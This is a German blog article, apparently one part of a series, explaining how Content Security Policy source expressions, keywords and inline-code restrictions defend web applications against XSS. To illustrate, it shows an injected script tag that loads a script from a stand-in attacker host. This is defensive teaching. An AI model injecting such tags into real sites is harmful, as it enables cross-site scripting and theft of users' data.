Dipl.-Inform. Carsten Eilers

In jeder Anweisung der CSP muss die Quelle angegeben werden, auf die sie sich bezieht und von der zum Beispiel Ressourcen geladen werden dürfen. Dazu kann das Schema (zum Beispiel data: oder https:) und der Pfad angegeben werden. Der Pfad kann dabei aus

• einem einzelnen Hostnamen (zum Beispiel anwendung.example, was zu jeder Origin auf diesem Host passt),
• einem vollständigen URI (Fully Qualified URI, zum Beispiel https://anwendung.example:443, was ausschließlich auf HTTPS-Verbindungen, ausschließlich anwendung.example und ausschließlich Port 443 passt)
• und jeder Kombination dazwischen

bestehen.

Wildcards (*) sind mit Einschränkungen erlaubt: Sie können für das Schema, den Port und die linke Position des Hostnamens verwendet werden. Zum Beispiel passt *://*.anwendung.example:* auf jede Subdomain von anwendung.example (aber nicht anwendung.example selbst) für jedes Schema und an jedem Port.

Die Schlüsselwörter der CSP

Zusätzlich werden die folgenden vier Schlüsselwörter unterstützt:

'none'

passt auf nichts (auf was auch sonst?)

'self'

passt auf die aktuelle Origin, aber nicht auf mögliche Subdomains

'unsafe-inline'

erlaubt Inline-JavaScript und -CSS (dazu gleich mehr)

'unsafe-eval'

erlaubt eval()-Aufrufe und alle anderen Möglichkeiten, Text in JavaScript umzuwandeln

Die einzelnen Quote-Zeichen ' gehören dabei zum Schlüsselwort:

• script-src 'self' erlaubt das Laden von JavaScript-Code vom aktuellen Host,
• script-src self erlaubt das Laden von JavaScript-Code vom Host mit dem Namen self, was vermutlich nur selten beabsichtigt ist.

Sandkastenspiele - Die Anweisung sandbox

Eine Anweisung wurde bisher nicht berücksichtigt: sandbox. Das hat einen guten Grund: Während alle anderen Anweisungen festlegen, welche Dateien von einer Seite geladen werden können, legt sandbox fest, welche Aktionen eine Seite ausführen kann. Wird die Anweisung sandbox verwendet, verhält sich der Browser so, als wäre die Seite in einem iframe mit gesetztem sandbox-Attribut geladen worden. Auf das sandbox-Attribut, das mit HTML5 eingeführt wurde, werde ich in einer späteren Folge genauer eingehen.

Gefährlicher Inline-Code

Wenn Sie die CSP verwenden, um das Laden von Ressourcen auf Dateien von bestimmten Servern zu beschränken, schränken Sie damit die Möglichkeiten eines Angreifers ein, Schaden anzurichten. Dürfen laut CSP JavaScript-Skripte zum Beispiel nur von anwendung.example geladen werden und ein Angreifer schleust das Tag

<script src="http://angreifer.example/boeses.js"></script>

in die Anwendung ein, wird das bösartige JavaScript-Skript vom Browser nicht geladen. Wunderbar, nicht wahr?

Aber was ist, wenn der Angreifer einfach seinen Code direkt einfügt:

<script>
  // Bösartige Anweisungen, zum Beispiel zum Durchführen einer Drive-by-Infektion
  // oder zum Senden vertraulicher Informationen an den Server des Angreifers
</script>

Dieser Code wird ausgeführt. Denn der Browser hat keine Möglichkeit, zwischen dem gutartigen Code Ihrer Webanwendung und dem eingeschleusten Schadcode eines Angreifers zu unterscheiden.

Es gibt nur eine Möglichkeit, dieses Problem zu lösen: Inline-Code wird komplett verboten. Diese Einschränkung trifft die Entwickler der Anwendung ebenso wie die Angreifer. Aber während die Entwickler lediglich den Inhalt der script-Tags in externe Dateien auslagern und das Laden dieser Dateien erlauben müssen, fehlt dem Angreifer die zweite Möglichkeit. Er kann zwar ebenfalls Schadcode in Dateien speichern, dieser wegen der Einschränkungen durch die CSP aber nicht in die Anwendung laden.

Inline-Code wird daher aus guten Grund von der CSP verboten. Ist er aus welchen Gründen auch immer einmal zwingend notwendig, kann er explizit zugelassen werden, indem das Schlüsselwort 'unsafe-inline' als Quelle für die script-src-Anweisung erlaubt wird:

Content-Security-Policy: script-src 'unsafe-inline'

Sinngemäß gilt das gleiche für Inline-Styles, die ebenfalls missbraucht werden können und deshalb generell verboten sind. Die Ausnahme aktivieren Sie hier durch die Anweisung

Content-Security-Policy: style-src 'unsafe-inline'

Sie sollten sich dabei aber darüber im Klaren sein, dass Sie damit die CSP im Grunde auch weglassen können, da der wichtigste Schutzfaktor entfällt.

In der nächsten Folge geht es unter anderem um Möglichkeiten, Text in JavaScript umzuwandeln, wie es zum Beispiel mit der eval()-Anweisung möglich ist.

Carsten Eilers

Übersicht über alle Artikel zum Thema

Schutzmaßnahmen: Content Security Policy gegen XSS, Teil 1

Schutzmaßnahmen: Content Security Policy gegen XSS, Teil 2

Schutzmaßnahmen: Content Security Policy gegen XSS, Teil 3

Schutzmaßnahmen: Content Security Policy gegen XSS, Teil 4

Schutzmaßnahmen: Der Pufferüberlauf im Überblick

Schutzmaßnahmen: Canary und DEP gegen Pufferüberlauf-Schwachstellen

Schutzmaßnahmen: ASLR gegen Pufferüberlauf-Schwachstellen

Schutzmaßnahmen: ASLR kann unterlaufen werden

Schutzmaßnahmen: Weitere Angriffe trotz ASLR